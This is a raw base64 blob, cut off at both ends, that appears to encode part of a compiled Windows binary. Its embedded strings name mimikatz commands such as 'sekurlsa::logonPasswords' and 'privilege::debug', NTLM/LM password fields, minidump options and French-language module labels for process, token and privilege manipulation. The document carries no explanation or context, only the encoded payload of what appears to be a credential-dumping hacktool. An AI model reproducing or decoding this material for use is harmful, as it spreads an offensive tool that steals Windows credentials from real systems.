pbmVzZS1zaW5nYXBvcmUAAABjaGluZXNlLXNpbXBsaWZpZWQAAGNoaW5lc2UtaG9uZ2tvbmcAAAAAY2hpbmVzZQBjaGkAY2hoAGNhbmFkaWFuAAAAAGJlbGdpYW4AYXVzdHJhbGlhbgAAYW1lcmljYW4tZW5nbGlzaAAAAABhbWVyaWNhbiBlbmdsaXNoAAAAAGFtZXJpY2FuAAAAAPwEBBBFTlUA6AQEEEVOVQDUBAQQRU5VAMgEBBBFTkEAwAQEEE5MQgC0BAQQRU5DALAEBBBaSEgArAQEEFpISQCkBAQQQ0hTAJAEBBBaSEgAfAQEEENIUwBoBAQQWkhJAFQEBBBDSFQARAQEEE5MQgAwBAQQRU5VACQEBBBFTkEAFAQEEEVOTAAIBAQQRU5DAPQDBBBFTkIA6AMEEEVOSQDYAwQQRU5KAMwDBBBFTloAtAMEEEVOUwCYAwQQRU5UAIwDBBBFTkcAgAMEEEVOVQB0AwQQRU5VAGQDBBBGUkIAVAMEEEZSQwBAAwQQRlJMADADBBBGUlMAIAMEEERFQQAMAwQQREVDAPgCBBBERUwA6AIEEERFUwDYAgQQRU5JAMgCBBBJVFMAvAIEEE5PUgCoAgQQTk9SAJQCBBBOT04AfAIEEFBUQgBoAgQQRVNTAFgCBBBFU0IASAIEEEVTTAA0AgQQRVNPACACBBBFU0MABAIEEEVTRAD0AQQQRVNGAOABBBBFU0UAzAEEEEVTRwC4AQQQRVNIAKgBBBBFU00AmAEEEEVTTgCEAQQQRVNJAHQBBBBFU0EAYAEEEEVTWgBQAQQQRVNSADwBBBBFU1UALAEEEEVTWQAYAQQQRVNWAAgBBBBTVkYAAAEEEERFUwD8AAQQRU5HAPgABBBFTlUA9AAEEEVOVQDsAAQQVVNBAOQABBBHQlIA3AAEEENITgDUAAQQQ1pFAMwABBBHQlIAvAAEEEdCUgC0AAQQTkxEAKgABBBIS0cAnAAEEE5aTACYAAQQTlpMAIwABBBDSE4AgAAEEENITgB0AAQQUFJJAGwABBBTVksAXAAEEFpBRgBQAAQQS09SAEAABBBaQUYANAAEEEtPUgAgAAQQVFRPAPwABBBHQlIAEAAEEEdCUgAAAAQQVVNBAPgABBBVU0EADAwaDAcQNgQMCC0EAwQMEBAIHQhPQ1AAQUNQAE5vcndlZ2lhbi1OeW5vcnNrAAAABQAAwAsAAAAAAAAAHQAAwAQAAAAAAAAAlgAAwAQAAAAAAAAAjQAAwAgAAAAAAAAAjgAAwAgAAAAAAAAAjwAAwAgAAAAAAAAAkAAAwAgAAAAAAAAAkQAAwAgAAAAAAAAAkgAAwAgAAAAAAAAAkwAAwAgAAAAAAAAAtAIAwAgAAAAAAAAAtQIAwAgAAAAAAAAAAwAAAAkAAACQAAAADAAAAElsbGVnYWwgYnl0ZSBzZXF1ZW5jZQAAAERpcmVjdG9yeSBub3QgZW1wdHkARnVuY3Rpb24gbm90IGltcGxlbWVudGVkAAAAAE5vIGxvY2tzIGF2YWlsYWJsZQAARmlsZW5hbWUgdG9vIGxvbmcAAABSZXNvdXJjZSBkZWFkbG9jayBhdm9pZGVkAAAAUmVzdWx0IHRvbyBsYXJnZQAAAABEb21haW4gZXJyb3IAAAAAQnJva2VuIHBpcGUAVG9vIG1hbnkgbGlua3MAAFJlYWQtb25seSBmaWxlIHN5c3RlbQAAAEludmFsaWQgc2VlawAAAABObyBzcGFjZSBsZWZ0IG9uIGRldmljZQBGaWxlIHRvbyBsYXJnZQAASW5hcHByb3ByaWF0ZSBJL08gY29udHJvbCBvcGVyYXRpb24AVG9vIG1hbnkgb3BlbiBmaWxlcwBUb28gbWFueSBvcGVuIGZpbGVzIGluIHN5c3RlbQAAAEludmFsaWQgYXJndW1lbnQAAAAASXMgYSBkaXJlY3RvcnkAAE5vdCBhIGRpcmVjdG9yeQBObyBzdWNoIGRldmljZQAASW1wcm9wZXIgbGluawAAAEZpbGUgZXhpc3RzAFJlc291cmNlIGRldmljZQBVbmtub3duIGVycm9yAAAAQmFkIGFkZHJlc3MAUGVybWlzc2lvbiBkZW5pZWQAAABOb3QgZW5vdWdoIHNwYWNlAAAAAFJlc291cmNlIHRlbXBvcmFyaWx5IHVuYXZhaWxhYmxlAAAAAE5vIGNoaWxkIHByb2Nlc3NlcwAAQmFkIGZpbGUgZGVzY3JpcHRvcgBFeGVjIGZvcm1hdCBlcnJvcgAAAEFyZyBsaXN0IHRvbyBsb25nAAAATm8gc3VjaCBkZXZpY2Ugb3IgYWRkcmVzcwAAAElucHV0L291dHB1dCBlcnJvcgAASW50ZXJydXB0ZWQgZnVuY3Rpb24gY2FsbAAAAE5vIHN1Y2ggcHJvY2VzcwBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5AAAAT3BlcmF0aW9uIG5vdCBwZXJtaXR0ZWQATm8gZXJyb3IAAAAAZSswMDAAAAAGgICGgIGAAAAQA4aAhoKAFAUFRUVFhYWFBQAAMDCAUICIAAgAKCc4UFeAAAcANzAwUFCIAAAAICiAiICAAAAAYGhgaGhoCAgHeHBwd3BwCAgAAAgACAAHCAAAACBDb21wbGV0ZSBPYmplY3QgTG9jYXRvcicAAAAgQ2xhc3MgSGllcmFyY2h5IERlc2NyaXB0b3InAAAAACBCYXNlIENsYXNzIEFycmF5JwAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoACBUeXBlIERlc2NyaXB0b3InAAAAYGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQnAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAABgZHluYW1pYyBpbml0aWFsaXplciBmb3IgJwAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgb21uaSBjYWxsc2lnJwAAIGRlbGV0ZVtdAAAAIG5ld1tdAABgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwBgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAYHVkdCByZXR1cm5pbmcnAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N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WAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBpAGcAbgBhAHQAdQByAGUAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBJAEcAXwBQAFIATwBWAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAFAAUgBPAFYAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABEAFMAUwAgAGEAbgBkACAARABpAGYAZgBpAGUALQBIAGUAbABsAG0AYQBuACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARQBOAEgAXwBEAFMAUwBfAEQASABfAFAAUgBPAFYAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEQASAAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABTAG0AYQByAHQAIABDAGEAcgBkACAAQwByAHkAcAB0AG8AIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBTAEMAQQBSAEQAXwBQAFIATwBWAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAAoAFAAcgBvAHQAbwB0AHkAcABlACkAAABNAFMAXwBFAE4ASABfAFIAUwBBAF8AQQBFAFMAXwBQAFIATwBWAF8AWABQAAAAAABQAFIATwBWAF8AUgBTAEEAXwBGAFUATABMAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBJAEcAAAAAAFAAUgBPAFYAXwBEAFMAUwAAAAAAUABSAE8AVgBfAEYATwBSAFQARQBaAFoAQQAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAFAAUgBPAFYAXwBTAFMATAAAAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAAAAUABSAE8AVgBfAEQAUwBTAF8ARABIAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAFMASQBHAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAFMASQBHAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMATgBSAEEAXwBGAFUATABMAAAAAABQAFIATwBWAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAAAAAABQAFIATwBWAF8AUwBQAFkAUgBVAFMAXwBMAFkATgBLAFMAAABQAFIATwBWAF8AUgBOAEcAAAAAAFAAUgBPAFYAXwBJAE4AVABFAEwAXwBTAEUAQwAAAAAAUABSAE8AVgBfAFIARQBQAEwAQQBDAEUAXwBPAFcARgAAAAAAUABSAE8AVgBfAFIAUwBBAF8AQQBFAFMAAAAAAAAAAAAQAAAAlLQEEBFdABAotAQQ71wAEAAAAABgAAAAbgBjAHIAeQBwAHQAAAAAAE5DcnlwdE9wZW5TdG9yYWdlUHJvdmlkZXIAAABOQ3J5cHRFbnVtS2V5cwAATkNyeXB0T3BlbktleQAAAE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAE5DcnlwdEZyZWVCdWZmZXIAAAAATkNyeXB0RnJlZU9iamVjdAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAATABlAG4AZwB0AGgAAAAAAEUAeABwAG8AcgB0ACAAUABvAGwAaQBjAHkAAABTeXN0ZW1GdW5jdGlvbjAwNgAAAGEAZAB2AGEAcABpADMAMgAAAAAAU3lzdGVtRnVuY3Rpb24wMDcAAABSdGxVcGNhc2VVbmljb2RlU3RyaW5nVG9PZW1TdHJpbmcAAABuAHQAZABsAGwAAABSdGxJbml0VW5pY29kZVN0cmluZwAAAABSdGxGcmVlT2VtU3RyaW5nAAAAACFAIyQlXiYqKClxd2VydHlVSU9QQXp4Y3Zibm1RUVFRUVFRUVFRUVEpKCpAJiUAADAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkAAAAATlRQQVNTV09SRAAATE1QQVNTV09SRAAAAAAAAHIAYgAAAAAAXAAAAExvYWRMaWJyYXJ5VwAAAABrAGUAcgBuAGUAbAAzADIAAAAAAFJ0bENyZWF0ZVVzZXJUaHJlYWQAVABvAGsAZQBuAFMAdAByAGUAYQBtAAAASABhAG4AZABsAGUATwBwAGUAcgBhAHQAaQBvAG4ATABpAHMAdABTAHQAcgBlAGEAbQAAAFQAaAByAGUAYQBkAEkAbgBmAG8ATABpAHMAdABTAHQAcgBlAGEAbQAAAAAATQBlAG0AbwByAHkASQBuAGYAbwBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABNAGkAcwBjAEkAbgBmAG8AUwB0AHIAZQBhAG0AAAAAAFUAbgBsAG8AYQBkAGUAZABNAG8AZAB1AGwAZQBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABGAHUAbgBjAHQAaQBvAG4AVABhAGIAbABlAFMAdAByAGUAYQBtAAAASABhAG4AZABsAGUARABhAHQAYQBTAHQAcgBlAGEAbQAAAAAAQwBvAG0AbQBlAG4AdABTAHQAcgBlAGEAbQBXAAAAAABDAG8AbQBtAGUAbgB0AFMAdAByAGUAYQBtAEEAAAAAAE0AZQBtAG8AcgB5ADYANABMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABUAGgAcgBlAGEAZABFAHgATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAUwB5AHMAdABlAG0ASQBuAGYAbwBTAHQAcgBlAGEAbQAAAAAARQB4AGMAZQBwAHQAaQBvAG4AUwB0AHIAZQBhAG0AAABNAGUAbQBvAHIAeQBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABNAG8AZAB1AGwAZQBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABUAGgAcgBlAGEAZABMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABSAGUAcwBlAHIAdgBlAGQAUwB0AHIAZQBhAG0AMQAAAFIAZQBzAGUAcgB2AGUAZABTAHQAcgBlAGEAbQAwAAAAVQBuAHUAcwBlAGQAUwB0AHIAZQBhAG0AAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAASQBnAG4AbwByAGUASQBuAGEAYwBjAGUAcwBzAGkAYgBsAGUATQBlAG0AbwByAHkAAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABQAHIAaQB2AGEAdABlAFcAcgBpAHQAZQBDAG8AcAB5AE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAEEAdQB4AGkAbABpAGEAcgB5AFMAdABhAHQAZQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAbwB1AHQAQQB1AHgAaQBsAGkAYQByAHkAUwB0AGEAdABlAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAQwBvAGQAZQBTAGUAZwBzAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABUAGgAcgBlAGEAZABJAG4AZgBvAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAE0AZQBtAG8AcgB5AEkAbgBmAG8AAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAG8AdQB0AE8AcAB0AGkAbwBuAGEAbABEAGEAdABhAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAGkAdgBhAHQAZQBSAGUAYQBkAFcAcgBpAHQAZQBNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAG8AYwBlAHMAcwBUAGgAcgBlAGEAZABEAGEAdABhAAAATQBpAG4AaQBEAHUAbQBwAEYAaQBsAHQAZQByAE0AbwBkAHUAbABlAFAAYQB0AGgAcwAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAEkAbgBkAGkAcgBlAGMAdABsAHkAUgBlAGYAZQByAGUAbgBjAGUAZABNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAVQBuAGwAbwBhAGQAZQBkAE0AbwBkAHUAbABlAHMAAABNAGkAbgBpAEQAdQBtAHAAUwBjAGEAbgBNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAEYAaQBsAHQAZQByAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABIAGEAbgBkAGwAZQBEAGEAdABhAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABEAGEAdABhAFMAZQBnAHMAAAAAAE0AaQBuAGkARAB1AG0AcABOAG8AcgBtAGEAbAAAAAAAUwBlAHIAdgBpAGMAZQAgADoAIAAAAAAAKQAgADsAIABuACcAYQAgAHAAYQBzACAAbAAnAGEAaQByACAAdAByAOgAcwAgAGEAYwB0AGkAZgAAAAAAIAAoAAAAAABMAGUAIABzAGUAcgB2AGkAYwBlACAAOgAgAAAAIAA7ACAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAdAByAG8AdQB2AGUAcgAgAGwAZQAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAABAAHAAaQBkACgAAABSAGUAYwBoAGUAcgBjAGgAZQAgAGQAZQBzACAAcABhAHQAdABlAHIAbgBzACAAZABhAG4AcwAgADoAIAAAAAAATwBLAAAAAABLAE8AAAAAACkAIAA6ACAAAAAAAFAAYQB0AGMAaAAgAAAAAABtAG8AZABfAG0AZQBtAG8AcgB5ADoAOgBzAGUAYQByAGMAaABNAGUAbQBvAHIAeQAgAAAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAOgAgAAAAAAAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABVAG4AaQBxAHUAZQBNAG8AZAB1AGwAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAABtAG8AZABfAHAAYQB0AGMAaAA6ADoAZwBlAHQARgB1AGwAbABWAGUAcgBzAGkAbwBuACAAOgAgAAAAAAAAAAAATABhACAAdgBlAHIAcwBpAG8AbgAgAGQAdQAgAHMAeQBzAHQA6ABtAGUAIABkACcAZQB4AHAAbABvAGkAdABhAHQAaQBvAG4AIABhAGMAdAB1AGUAbABsAGUAIABuACcAZQBzAHQAIABwAGEAcwAgAHMAdQBwAHAAbwByAHQA6QBlACAAcABhAHIAIABjAGUAdAB0AGUAIABmAG8AbgBjAHQAaQBvAG4ALgAAAFwAXAAAAAAAXABwAGkAcABlAFwAAAAAAGy1BBBVigAQbQBpAG0AaQBrAGEAdAB6AFAAAABtAGkAbQBpAGsAYQB0AHoARAAAAG0AaQBtAGkAawBhAHQAegBVAAAATnRTdXNwZW5kUHJvY2VzcwAAAABOdFJlc3VtZVByb2Nlc3MATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAKAAwAHgAAAAgACoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAG8AYgB0AGUAbgBpAHIAIAB1AG4AIABtAGUAcwBzAGEAZwBlACAAKgAAAAAATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAAAE50UXVlcnlPYmplY3QAAABSdGxJbml0U3RyaW5nAAAACgAAADwATgBVAEwATAA+AAAAAAAwMTIzNDU2Nzg5YWJjZGVmQUJDREVGAAAwMTIzNDU2Nzg5YWJjZGVmAAAAALS1BBAcwgEQsskAEOvIABAkyAAQXccAEJPGABDJxQAQCMUAEEfEABBpwwAQiMIAEP/AABBlAHIAcgBlAHUAcgAgAFMASQBEACAAOwAgAAAAbgAuAGEALgAAAAAAcAByAGkAdgBpAGwAZQBnAGUAOgA6AGQAZQBiAHUAZwAAAAAAcwBlAGsAdQByAGwAcwBhADoAOgBsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAGUAeABpAHQAAAAAAFMAdABhAG4AZABhAHIAZAAAAAAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAZQAgAGUAdAAgAGMAZQByAHQAaQBmAGkAYwBhAHQAcwAAAAAAYwByAHkAcAB0AG8AAAAAAEgAYQBzAGgAAAAAAGgAYQBzAGgAAAAAAEcAZQBzAHQAaQBvAG4AIABzAHkAcwB0AOgAbQBlAAAAcwB5AHMAdABlAG0AAAAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZABlAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAAAAAAcAByAG8AYwBlAHMAcwAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZABlAHMAIAB0AGgAcgBlAGEAZABzAAAAAAB0AGgAcgBlAGEAZAAAAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAGUAcwAgAHMAZQByAHYAaQBjAGUAcwAAAHMAZQByAHYAaQBjAGUAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAHAAcgBpAHYAaQBsAGUAZwBlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAGUAcwAgAGgAYQBuAGQAbABlAHMAAAAAAGgAYQBuAGQAbABlAAAAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAHQAbwBrAGUAbgBzACAAZAAnAGEAYwBjAOgAcwAAAGkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZAB1ACAAZADpAG0AaQBuAGUAdQByAAAAAAB3AGkAbgBtAGkAbgBlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAIAA3AAAAAABtAGkAbg